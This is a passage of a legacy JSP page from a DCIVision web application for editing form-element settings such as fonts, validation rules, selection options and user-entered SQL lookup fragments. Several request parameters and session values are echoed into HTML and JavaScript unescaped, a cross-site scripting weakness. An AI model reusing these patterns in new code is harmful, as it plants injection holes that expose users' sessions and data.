 
<%
/*
 * @(#)EditFormElement.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormElement.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong,Tony Chen
    @company          DCIVision Limited
    @creation date    27/12/2003
    @version          $Revision: 1.117.2.23 $
*/
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.form.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>

<script language="Javascript" src="<%= request.getContextPath() %>/js/FormFunction.js" charset="UTF-8" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/FormAjaxProcessor.js'></script>
<script src='<%= request.getContextPath() %>/dwr/util.js'></script>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormElementForm" scope="request" class="com.dcivision.form.web.MaintFormElementForm"/>
<%
	if (!Utility.isEmpty( request.getParameter("MandName"))) {
		session.setAttribute("mandName",request.getParameter("MandName")); 
	}
    if (request.getParameter("SelectV")!=null){
      maintFormElementForm.setElementType(request.getParameter("SelectV").toString());  
    }
 %> 
<script language="Javascript">
<!--

var colorPicker = new ColorPicker();
var field;

function pickFontColor(anchorname,fieldName) {
	field = document.maintFormElementForm.elements['fontColor'];
	colorPicker.show(anchorname);
}

function pickColor(color) {
	field.value = color;
}

function opAddFields(tempListSize) {
  var intValue;
  intValue=parseInt(document.maintFormElementForm.newField.value);
  if (isNaN(intValue) || intValue<0 ) {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    document.maintFormElementForm.newField.focus();
    return(false);
  }

  document.maintFormElementForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  document.maintFormElementForm.listSize.value=tempListSize;

  //alert(document.maintFormElementForm.listSize.value);
  document.maintFormElementForm.submit();
  return(false);
}

function onchangeMandatory(){
	//window.opener.NavHelp();
window.opener.putMandatoryValue("<%=session.getAttribute("mandName")%>",document.maintFormElementForm.requiredFlag.checked)
}

function hideBlock(b) {
    FindObj(b).style.display = "none";
}

function showBlock(b) {
    FindObj(b).style.display = "";
}

function Check(){
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var unRightfulChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if(!CheckDefaultValue()){
	  return (false);
  }
  if (!validateSpecialChar(document.maintFormElementForm.fieldName, unRightfulChars, "<bean:message key='form.label.field_name'/> " + errorMessage)){
     return (false);
    }
  if(document.maintFormElementForm.fieldName.value==""){
    alert("<bean:message key='form.label.field_name'/> "+"<bean:message key='form.message.is_required'/>");
    return false;
  }
  if (document.maintFormElementForm.uploadFile && document.maintFormElementForm.uploadFile.value!=""){
     document.maintFormElementForm.trueFileName.value=document.maintFormElementForm.uploadFile.value;
  }
<%if (FormElementType.isSelection(maintFormElementForm.getElementType())||FormElementType.isSelection(request.getParameter("SelectV"))){%>
     var hasOption = false; 
     var num = 0;
     var isDelete = true;
     var optionLabelMaxLength = 30;
     var optionStartValueMaxLength=30;
     
     for(var i=0;i<document.maintFormElementForm.newFieldSize.value;i++){                       	 
     var currentOptionLabelIsDelete = document.getElementsByName("option[" + i + "].isDelete")[0].checked;
     var currentOptionLabel = document.getElementsByName("option[" + i + "].label")[0];
     var currentOptionStartValue=document.getElementsByName("option["+ i +"].startValue")[0];
     
     if (!currentOptionLabelIsDelete) {
       for(var j=0;j<i;j++){
         var innerOptionIsDelete = document.getElementsByName("option[" + j + "].isDelete")[0].checked;
         if (innerOptionIsDelete) continue; // Ignore if inner option to compare is deleted.
         /* Commented by Brook.Huang for BUG:EIP-1989.
          * Ignore checking duplicate option label name.
         var newOptionLabel = document.getElementsByName("option[" + j + "].label")[0];
         if(newOptionLabel.value == currentOptionLabel.value){
            alert("<bean:message key='form.label.selection'/> [" + (i+1) + "]"+" and "+"<bean:message key='form.label.selection'/> [" + (j+1) + "]"+" <bean:message key='form.message.element_select_option_name_can_not_have_same_name'/> ");
            currentOptionLabel.focus();
            return false;
         }
         */
         var innerOptionStartValue = document.getElementsByName("option[" + j + "].startValue")[0];
         if (innerOptionStartValue.value == currentOptionStartValue.value) {
            alert("<bean:message key='form.label.selection'/> [" + (i+1) + "]"+" and "+"<bean:message key='form.label.selection'/> [" + (j+1) + "]"+" <bean:message key='form.message.element_select_option_value_can_not_have_same_value'/> ");
            currentOptionStartValue.focus();
            return false;
         }
       }
      }

	   if (currentOptionLabel.value == "" && !currentOptionLabelIsDelete){
	      alert("<bean:message key='form.label.selection'/> [" + (i+1) + "] <bean:message key='form.message.is_required'/>");
		  return (false);
	   }
	   else  if (trim(currentOptionLabel.value) == "" && !currentOptionLabelIsDelete){
	      alert("<bean:message key='form.label.selection'/> [" + (i+1) + "] <bean:message key='form.message.is_not_blank'/>");
		  return (false);
	   }
	   // Validate value's length, make sure it is limited to the max size.
	   if (currentOptionLabel.value.length > optionLabelMaxLength && !currentOptionLabelIsDelete) {
	   		alert("<bean:message key='form.label.selection'/> [" + (i+1) + "] <bean:message key='form.message.length_is_too_long' /> " + optionLabelMaxLength);
	   		currentOptionLabel.focus();
	   		return (false);
	   }
	   // Validate StartValue's length, make sure it is limited to the max size.
	   if (currentOptionStartValue.value.length > optionStartValueMaxLength && !currentOptionLabelIsDelete) {
	   		alert("<bean:message key='form.label.selection'/> [" + (i+1) + "] <bean:message key='form.message.length_is_too_long' /> " + optionStartValueMaxLength);
	   		currentOptionStartValue.focus();
	   		return (false);
	   }
	   
	   if(currentOptionLabel.value != ""){
         if (currentOptionLabelIsDelete){
	       isDelete = isDelete && isDelete;	      
         }else{
	       isDelete = false;
	     }	     
	   }
	   if (!currentOptionLabelIsDelete){
	      hasOption = true;
	      num++;
	    }
     }
     hasOption = isDelete ;
     if (hasOption){
        alert("<bean:message key='form.label.selection'/> <bean:message key='form.message.is_required'/>");
        return (false);
     }
     <%if (FormElementType.ELEMENT_RADIO_BUTTON.equals(maintFormElementForm.getElementType())){%>
       if (num<2){
     	   alert("<bean:message key='form.message.radio_subt_two'/>");
     	   return(false);
      }
     <%} else if (FormElementType.ELEMENT_SELECTION_BOX.equals(maintFormElementForm.getElementType())){%>
       if (num<2){
     	   alert("<bean:message key='form.message.selection_subt_two'/>");
     	   return(false);
       }
    <%} else if (FormElementType.ELEMENT_CHECK_BOX.equals(maintFormElementForm.getElementType())) {%>
       if (num<2){
     	   alert("<bean:message key='form.message.check_subt_two'/>");
     	   return(false);
       }
    <%}%>
    opener.selectionOptionNum.value=num;
<%}%>
  
  OpSave();
  return (false);
}

function OpCustSave(){
  return Check();
}


String.prototype.Trim = function(){return this.replace(/^\s+|\s+$/g,"");}
function CheckDefaultValue(){
  var validate;
  var validationRule=document.maintFormElementForm.validationRule;
  var defaultValue=document.maintFormElementForm.defaultValue;
  if(defaultValue&&defaultValue.value!="" && validationRule){
    validationRule=validationRule.value;
	defaultValue=defaultValue.value.Trim();
	if("1"==validationRule){
	  validate=/^[a-zA-Z\s]*$/;
	  if (!validate.exec(defaultValue)){
		alert("DefaultValue <bean:message key='errors.form.label.validate_alphabet'/>");
        return false; 
	  }
	}
	if("2"==validationRule){
	  validate=/^[\u4E00-\u9FA5]*$/;
	  if (!validate.exec(defaultValue)){
	    alert("DefaultValue <bean:message key='errors.form.label.validate_chinese'/>");
        return false; 
	  }
	}
	if("3"==validationRule){
	  validate=/^[-+]?\d*$/;
	  if (!validate.exec(defaultValue)){
		alert("DefaultValue <bean:message key='errors.form.label.validate_integer'/>");
        return false; 
	  }
	}
	if("4"==validationRule){
	  validate=/^[-+]?\d*(\.\d*)?$/;
	  if (!validate.exec(defaultValue)){
		alert("DefaultValue <bean:message key='errors.form.label.validate_number'/>");
        return false; 
	  }
	}
	if("5"==validationRule){
	  validate=/^(\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*)?$/;
	  if (!validate.exec(defaultValue)){
	    alert("DefaultValue <bean:message key='errors.form.label.validate_email'/>");
        return false; 
	  }
	}
  }
  return (true);
}

function numericCheck(intValue){	
  if (isNaN(intValue) || intValue<0 ) {
	alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    	return false;
  }
}
-->
</script>

<html:form action="form/MaintFormElement" styleClass="form-style-2">
<html:javascript formName="maintFormElementForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  int tmpListTotal=0;
  int listSize=0;
  int newFieldSize=0;
  Integer opNewField=new Integer(1);
  Integer defaultFieldSize = new Integer(1);

  if (request.getAttribute("newFieldsSize") != null){
    newFieldSize = ((Integer) request.getAttribute("newFieldsSize")).intValue();
  }  
  if (request.getParameter("newField") != null){
    opNewField = new Integer(request.getParameter("newField"));
  }
  if (request.getAttribute("listSize") != null){
    listSize = ((Integer) request.getAttribute("listSize")).intValue();
  }
  List formElementList = maintFormElementForm.getOptionList();
  if (maintFormElementForm.getOptionList()!=null) {
    listSize=formElementList.size();
  } 
  if(newFieldSize < listSize)
    newFieldSize = listSize;
  if(newFieldSize == 0)
    newFieldSize = 2;

   String[][] POS_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_top", FormElement.LABEL_POSITION_TOP},
                                {"form.label.display_type_hidden", FormElement.LABEL_POSITION_HIDDEN}};

   String[][] POS_LABEL_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_center", FormElement.LABEL_POSITION_CENTER},
                                {"form.label.display_type_right",FormElement.LABEL_POSITION_RIGHT}};
   
   if(maintFormElementForm.getElementType().equals(FormElementType.ELEMENT_IMAGE)){
     POS_LABEL_MAP = POS_MAP;
   }
   String FONT_TYPE_MAP[][] = new String[8][2];
   for ( int i = 0 ; i < 8 ; i++ ) {
     int j = i + 1;
     FONT_TYPE_MAP[i][0] = "form.label.element_fonts_"+j;
     FONT_TYPE_MAP[i][1] = String.valueOf(j);
   }
   String FONT_SIZE_MAP[][] = new String[23][2];
   for ( int i = 0 ; i < 23 ; i++ ) {  	 
     int j = i + 8;
     //int j = i+1;
     FONT_SIZE_MAP[i][0] = "form.label.font_size_"+j;
     //FONT_SIZE_MAP[i][0] = String.valueOf(j);
     FONT_SIZE_MAP[i][1] = String.valueOf(j);
   }

   String[][] DISPLAY_TYPE_MAP       = { {"form.label.selection_alignment_1", FormSelectionField.HORIZONTAL},
                                {"form.label.selection_alignment_2", FormSelectionField.VERTICAL}};
                                
   List validationRuleList = (List)request.getAttribute("validationRuleList");
   String[][] VALIDATION_RULE_MAP = new String[validationRuleList.size()][2];
   for (int i=0; i<validationRuleList.size(); i++){
     FormValidationRule validationRule = (FormValidationRule)validationRuleList.get(i);
     VALIDATION_RULE_MAP[i][1] = validationRule.getID().toString();  
     VALIDATION_RULE_MAP[i][0] = validationRule.getLabelMsgKey();
   }

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   boolean bIsCopy = false, bIsPending = false, bTextOnly = false;
   String navMode = request.getParameter("navMode");
   if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
     bIsCopy = true;
   } else if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {
     bTextOnly = true;
   }
   String[] SYMBOLS = {"=",">=","<=",">","<","<>","like"};
%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property="elementType"/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type='hidden' name='formPageID' value='<%=request.getParameter("formPageID")%>'/>
<input type='hidden' name='formRecordID' value='<%=session.getAttribute("formRecordID")%>'/>
<input type='hidden' name='newFieldSize' value='<%=newFieldSize%>'/> <!-- For check()-->
<!--=========================================Page Title Section================================-->
<layout:popupTitle titleKey ="form.label.form_element_info"/>
<%
 if (request.getParameter("MandV")!=null){
   session.setAttribute("MandV",request.getParameter("MandV").toString());
%>
<input type=hidden name="mandatory" value=<%=request.getParameter("MandV")%>>
<%
}else if (request.getParameter("mandatory")!=null) {
%>
<input type=hidden name="mandatory" value=<%=request.getParameter("mandatory")%>>
<%}else{%>  
<input type=hidden name="mandatory" value=<%=maintFormElementForm.getmandatory()%>>
<%}%> 
<%
  String currentPageHeight=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?"450px":"550px";
%>
	<div id="generalContainer" class="tabContent" style="height:<%=currentPageHeight%>;">

      <table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
        <!-- Section Header -->
        <tr>
        	<td>
            <layout:sectionHeader/>
            </td>
          </tr>
      
  <!--=============================START Form Element====================-->
  <tr>
  <td>
  <table>
  <!-- Field Type Begin -->
        <tr>
          <td class="formLabelSmallMan"><bean:message key='form.label.field_type'/>:&nbsp;</td>
          <td class="formFieldSmall">&nbsp;<bean:message key='<%="form.label.field_type_"+maintFormElementForm.getElementType()%>'/></td>
        </tr>
  <!-- Field Type End -->
  <!-- Field Name & Label Position Begin -->
        <tr>
          <td class="formLabelSmallMan"><bean:message key='form.label.field_name'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:text property='fieldName' textOnly='<%=bTextOnly%>' size='20' maxlength='30'/>
      &nbsp;&nbsp;<html:select property="labelPosition">
                    <html:options stringArray='<%=POS_LABEL_MAP%>'/>
                  </html:select>
          </td>
        </tr>
  <!-- Form Dynamic value with conditionID DB LookUp Begin-->                    
            <% if ((maintFormElementForm.getElementType().equals(FormElementType.ELEMENT_TEXT) ||
          		maintFormElementForm.getElementType().equals(FormElementType.ELEMENT_PASSWORD) ||
          		maintFormElementForm.getElementType().equals(FormElementType.ELEMENT_TEXT_AREA)||
          		FormElementType.isSelection(maintFormElementForm.getElementType()))&&
          		request.getAttribute(FormConstant.FORM_DB_LOOKUP_CONDITIONID_COLLECTION)!=null&&
          		((ArrayList)request.getAttribute(FormConstant.FORM_DB_LOOKUP_CONDITIONID_COLLECTION)).size()>0 ){%>         
          		
         <tr>
           <td class="formLabelSmall"><bean:message key='form.label.dynamic_condition_sql_lable'/>:&nbsp;</td>
           <td>
             <table>
               <tr>
                 <td class="formLabelSmall"><bean:message key='form.label.sql_select'/>&nbsp;</td>
                 <td class="formFieldSmall"><html:text property='sqlField' size='12' maxlength='255'/></td>
                 <td class="formLabelSmall"><bean:message key='form.label.sql_from'/>&nbsp;</td>
                 <td class="formFieldSmall"><html:text property='sqlTable' size='12' maxlength='255'/></td> 
                 <td class="formLabelSmall"><bean:message key='form.label.sql_where'/>&nbsp;</td>
                 <td class="formFieldSmall"><html:text property='sqlWhere' size='20' maxlength='255'/></td>
             <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> 
                 <td class="formFieldSmall">
                   <html:select property='compareSymbol'>
                     <html:options name="<%=FormConstant.FORM_DB_LOOKUP_OPREATORS_COLLECTION%>"/>
                   </html:select>
                 </td>
                 <td class="formFieldSmall">
                   <html:select property="conditionID">
                     <html:options collection="<%=FormConstant.FORM_DB_LOOKUP_CONDITIONID_COLLECTION%>" property="value" labelProperty="label"/>
                   </html:select>
                 </td>
                 <%}else{%>
                 <td class="formFieldSmall"><html:text property='compareSymbol' size='20' maxlength='255'/></td>
                 <td class="formFieldSmall">ElementID:<html:text property='conditionID' size='20' maxlength='255'/></td>
                 <%}%>
               </tr>
             </table>
           </td>
         </tr>  
            <%}else{%>
            <html:hidden property='sqlField'/>
            <html:hidden property='sqlTable'/>
            <html:hidden property='sqlWhere'/>
            <html:hidden property='compareSymbol'/>
            <html:hidden property='conditionID'/>
          <%}%>          
  <!-- Form Dynamic value with conditionID DB LookUp End-->                        
        
        
  <!-- Field Name & Label Position End -->
  
  <!-- Text Form Element Begin-->
  <%
  if(FormElementType.isText(maintFormElementForm.getElementType()) ){
  %>
  <!-- Field Width -->
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.width'/>:&nbsp;</td>
          <td class="formFieldSmall"><html:text property='width' textOnly='<%=bTextOnly%>' size='20' maxlength='2'/></td>
        </tr>
  <!-- Field Default Value -->
        <%if (!maintFormElementForm.getElementType().equals(FormElementType.ELEMENT_CURRENT_LOGIN) && 
              !maintFormElementForm.getElementType().equals(FormElementType.ELEMENT_CURRENT_DATE) &&
              !maintFormElementForm.getElementType().equals(FormElementType.ELEMENT_SIGNATURE)){%>
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.default_value'/>:&nbsp;</td>
          <%if (FormElementType.ELEMENT_DATE_PICKER.equals(maintFormElementForm.getElementType())) {%> 
          <td class="formFieldSmall"><html:datepicker property='defaultValue'/></td>
          <%}else if (FormElementType.ELEMENT_TIME_PICKER.equals(maintFormElementForm.getElementType())) {%>
          <td class="formFieldSmall"><html:timepicker property='defaultValue'/></td>
          <%} else if (FormElementType.ELEMENT_USER_PICKER.equals(maintFormElementForm.getElementType())) {%>
          <td class="formFieldSmall"><html:userpicker property='defaultValue'/></td>
          <%}else{%>
          <td class="formFieldSmall"><html:text property='defaultValue' size='20' maxlength='255'/></td>
          <%}%>
          </tr>
        <%}%>
  <!-- Field Expandable -->
  <%}else {%>
  	    <html:hidden property='width'/>
  <%}%>
  <% if (FormElementType.ELEMENT_TEXT_AREA.equals(maintFormElementForm.getElementType())) { %>
      <tr>
          <td class="formLabelSmall"><bean:message key='form.label.field_height'/>:&nbsp;</td>
          <td class="formFieldSmall">
           <html:text property='height' textOnly='<%=bTextOnly%>' size='20' maxlength='2'/>
          </td>
        </tr>  
  <% }%>
  <!--======================Text Form Element End=======================================-->
  <!-- Font Type -->
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.font_type'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:select property="fontType">
              <html:options stringArray='<%=FONT_TYPE_MAP%>'/>
            </html:select>
          </td>
        </tr>
  <!-- Font Color -->
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.font_color'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <table>
              <tr>
                <td>
                  <html:text property='fontColor' textOnly='<%=bTextOnly%>' size='20' maxlength='7' readonly='true' /><A HREF="#" onClick="pickFontColor('pick2','fontColor');return false;" NAME="pick2" ID="pick2">Pick</A>
                </td>
                <td>
                  <SCRIPT LANGUAGE="JavaScript">
                  <!--
                    colorPicker.writeDiv();
                  -->
                  </SCRIPT>
                </td>
              <tr>
            </table>
          </td>
        </tr>
  <!-- Font Size -->
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.font_size'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:select property="fontSize">
              <html:options stringArray='<%=FONT_SIZE_MAP%>'/>
            </html:select>px
          </td>
        </tr>
  <!-- Font Style -->
        <tr>
    <% String fStyle=(maintFormElementForm.getFontStyle()==null)? "" : maintFormElementForm.getFontStyle();%>
          <td class="formLabelSmall"><bean:message key='form.label.font_style'/>:&nbsp;</td>
          <td class="formFieldSmall">
            &nbsp;<input type="checkbox" name="fontStyleBold" value="B" <%if(fStyle.indexOf("B")>=0){%>checked<%}%> <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>><bean:message key="form.label.font_style_bold"/><br>
            &nbsp;<input type="checkbox" name="fontStyleUnderline" value="U" <%if(fStyle.indexOf("U")>=0){%>checked<%}%> <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>><bean:message key="form.label.font_style_underline"/><br>
            &nbsp;<input type="checkbox" name="fontStyleItalic" value="I" <%if(fStyle.indexOf("I")>=0){%>checked<%}%> <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>><bean:message key="form.label.font_style_italic"/>
          </td>
        </tr>
        
<!--Image Element Handle Begin-->

<%/*if(FormElementType.isAttachment(maintFormElementForm.getElementType())){
   String  repath=SystemParameterFactory.getSystemParameter(SystemParameterConstant.FORM_ATTACHMENT_PHYSICAL_PATH);*/%>
        <!-- input type="hidden" name="trueFileName" -->
   <%//if (!GlobalConstant.NAV_MODE_NEW.equals(maintFormElementForm.getNavMode()) && !Utility.isEmpty(maintFormElementForm.getFileName()) && !"null".equals(maintFormElementForm.getFileName())){%>
        <!-- tr>
          <td class="formLabelSmall" width="150"><bean:message key='form.label.field_attachment'/>:</td>
          <td class="formFieldSmall" width="630">&nbsp;<html:hidden property='fileName'/><%//=maintFormElementForm.getFileName()%><br>
          <%//if (maintFormElementForm.getFileName().indexOf(".")>0){ %>     
            <a href="#" onclick="javascript:window.open('../jsp/form/IncludeShowImgFile.jsp?imageName=<%//=repath+"/"+maintFormElementForm.getID()+maintFormElementForm.getFileName().substring(maintFormElementForm.getFileName().indexOf("."),maintFormElementForm.getFileName().length())%>','DCIForm','location=no,scrollbars=auto,menubar=no,status=no,resizable=1 ')" ><img src="../jsp/form/IncludeShowImgFile.jsp?imageName=<%//=repath+"/"+maintFormElementForm.getID()+maintFormElementForm.getFileName().substring(maintFormElementForm.getFileName().indexOf("."),maintFormElementForm.getFileName().length())%>" width="50" height="50" border="0"> </a></td>
          <%//}%>
        </tr --> 
   <%//}%>
   <%//if(GlobalConstant.NAV_MODE_EDIT.equals(maintFormElementForm.getNavMode()) || (GlobalConstant.NAV_MODE_NEW.equals(maintFormElementForm.getNavMode()))){%>
        <!-- tr>
          <td class="formLabelSmall" width="150">
            <%//if (!Utility.isEmpty(maintFormElementForm.getFileName()) && !"null".equals(maintFormElementForm.getFileName())){%>
              <bean:message key='form.label.change_field_attachment'/>: 
            <%//}else{%>
              <bean:message key='form.label.field_attachment'/>: 
            <%//}%>
          </td>
          <td class="formFieldSmall" width="630">&nbsp;<html:file property='uploadFile'/></td>
        </tr -->      
   <%//}%>
<%//}%>
<!--=================================Image Element Handle End================================-->

<%if(!FormElementType.isLabel(maintFormElementForm.getElementType()) &&
     !FormElementType.isImage(maintFormElementForm.getElementType()) &&
     !FormElementType.ELEMENT_CURRENT_DATE.equals(maintFormElementForm.getElementType()) &&
     !FormElementType.ELEMENT_CURRENT_LOGIN.equals(maintFormElementForm.getElementType())){%>
<!-- Mandatory Field --> 
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.required_flag'/>:&nbsp;</td>
          <td class="formFieldSmall">&nbsp;<input type="checkbox" name="requiredFlag" value="Y" <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%> onchange="return onchangeMandatory()"
          <%if(request.getParameter("MandV")!=null) {
              if (request.getParameter("MandV").equals("1")) out.print("checked");}
              else {%>
                <%="Y".equals(maintFormElementForm.getRequiredFlag()) ? "checked":""%>
              <%}%>>
          </td>
        </tr>  
<!-- Validation rule -->
  <%if ((FormElementType.ELEMENT_TEXT).equals(maintFormElementForm.getElementType())){%>
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.validation_unique_field'/>:&nbsp;</td>
          <td class="formFieldSmall">&nbsp;<input type="checkbox" name="uniqueness" value="Y" <%if ("Y".equals(maintFormElementForm.getUniqueness())){%> checked <%}%> <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%> ></td>
        </tr> 
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.validation_rule'/>:&nbsp;</td>
          <td class="formFieldSmall">&nbsp;
             <html:select property="validationRule" >
              <html:options stringArray='<%=VALIDATION_RULE_MAP%>' />
            </html:select>   
          </td>
        </tr>       
 <%}else{%>
       <html:hidden property='uniqueness'/>
 <%}%>

<%}%>
<!--===========================Selection Form Element Begin===================================================-->
<%if(FormElementType.isSelection(maintFormElementForm.getElementType())){
	if(FormElementType.ELEMENT_SELECTION_BOX.equals(maintFormElementForm.getElementType())){%>
        <html:hidden property="displayType" value="V"/>
    <%}else{%>
<!-- Value Alignment Horizontal or Vertical -->
        <tr>
          <td class="formLabelSmall"><bean:message key="form.label.selection_alignment"/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:select property="displayType">
              <html:options stringArray='<%=DISPLAY_TYPE_MAP%>'/>
            </html:select>
          </td>
        </tr>
    <%}%>
       
<!--- Options -->
        <tr>
          <td class="formLabelSmallMan"><bean:message key="form.label.selection"/>:&nbsp;</td>
          <td class="formFieldSmall">&nbsp;
            <table border="0" cellspacing="0" cellpadding="0" bgcolor="#eeeeee">
              <tr>
                <td>
                <div class="form-options-vertical-scroll">
                  <table border="0" cellspacing="1" cellpadding="3" >
                    <tr class="formFieldSmall">
                      <td><bean:message key="form.label.default"/></td>
                      <td align="left"><bean:message key="form.label.label"/></td>
                      <td><bean:message key="dms.label.field_detail"/></td>                             
                    </tr>
                 <%  //int itemCount = (request.getParameter("itemCount")==null) ? 5 : Integer.parseInt(request.getParameter("itemCount")) ;
                     //itemCount=(maintFormElementForm.getOptionList().size() > itemCount ) ? maintFormElementForm.getOptionList().size()  : itemCount;
                   int initialValue = 0;
                   int intMaxOptionValue = initialValue;
                   for(int k=0;k<newFieldSize;k++){
                  	 if(!Utility.isEmpty(maintFormElementForm.getOption(k).getStartValue())){
                  		 int intOptionStartValue = Integer.parseInt(maintFormElementForm.getOption(k).getStartValue());
                  		 if(intMaxOptionValue<intOptionStartValue){
                  			 intMaxOptionValue = intOptionStartValue;
                  		 }
                  	 }
                   }
                   if(intMaxOptionValue!=initialValue){
                   intMaxOptionValue = intMaxOptionValue+1;
                   }
                   for(int i=0;i<newFieldSize;i++){%>
                    <tr class="formFieldSmall">
                    <%String fdefaultValue=(maintFormElementForm.getDefaultValue()==null)? "" : maintFormElementForm.getDefaultValue(); 
                      String optionStartValue;
                      if(!Utility.isEmpty(maintFormElementForm.getOption(i).getStartValue())){
                      	optionStartValue = maintFormElementForm.getOption(i).getStartValue();
                      }else{
                    	if (i > 0 && intMaxOptionValue == 0 ) {
                      	  optionStartValue = String.valueOf(++intMaxOptionValue);
                    	} else {
                    	  optionStartValue = String.valueOf(intMaxOptionValue);
                    	}
                      	intMaxOptionValue +=1;
                      }
                      if(!FormElementType.ELEMENT_RADIO_BUTTON.equals(maintFormElementForm.getElementType())
                 		&&!FormElementType.ELEMENT_SELECTION_BOX.equals(maintFormElementForm.getElementType())){%>
                      <td align="middle"><input type="checkbox" name="defaultValue"
                       <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>  value="<%=optionStartValue %>" 
                       <%if(fdefaultValue.indexOf(maintFormElementForm.getOption(i).getStartValue()+",")>=0){%>checked<%}%> >&nbsp;
                      </td>
                    <%}else{%>                   
                      <td align="middle"><input type="radio" name="defaultValue"  
                       <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%> value="<%=optionStartValue %>" 
                       <%if (fdefaultValue.equals(maintFormElementForm.getOption(i).getStartValue())){%>checked<%}%>>&nbsp;
                      </td>
                     <%}%> 
                      <td align="left">
                        <html:text property='<%="option["+i+"].label"%>' size='20'/>
                        <html:hidden property='<%="option["+i+"].startValue"%>' value='<%=optionStartValue %>'/>
                      </td>
                      <td>
                        <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
                          <html:checkbox property='<%="option["+i+"].isDelete"%>' value='Y'/>
                        <%}%>                   
                      </td>
                    </tr>
                  <%}%>
                  </table>
                 </div>                      
                </td>
              </tr>
            </table>
            <%if (!"V".equals(maintFormElementForm.getNavMode())&&!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && !"VIEWSTRU".equals(request.getParameter("function"))) {%>
                <bean:message key='dms.label.new_element_label'/>&nbsp;<input type="text" name="newField" onchange="return numericCheck(this.value)" maxlength='1'  value="<%=opNewField%>" size='1' style='font-size:11px'>
	        <a href="javascript://" onClick="return opAddFields(<%=newFieldSize%>);"><html:img src='IconMiniAdd.gif' common='true' align='absmiddle'/></a>	        
            <%}%>
          </td>
        </tr>
      </table>
    </td>
  </tr>
<%}%>
<!--====================================Selection Form Element End===============================================-->       
        <input type="hidden" name="tmpListTotal" value="<%=tmpListTotal%>">
        <input type="hidden" name="listSize">
<!--=========================================END Form Element======================================================-->
        
      </table>
    </table>
</div>
<div>
	<table width="100%">
		<tr>
		  <tr>
          <td colspan="2">
            <div class="sectionLine">&nbsp;</div>
          </td>
        </tr>
		</tr>
		<tr>
			<td>
			</td>
		</tr>
	</table>
</div>
<!--=========================================The Buttons for Actions Handling=======================================-->
<div id="bottomButtonArea">
  <div id="buttonSection">     
    <%if (!"VIEWSTRU".equals(request.getParameter("function"))) {%>
      <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
        <%if (request.getParameter("DeleteV")!=null){ 
          if (request.getParameter("DeleteV").equals("0")){%>
            <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
          <%}%>
        <%}else{%>
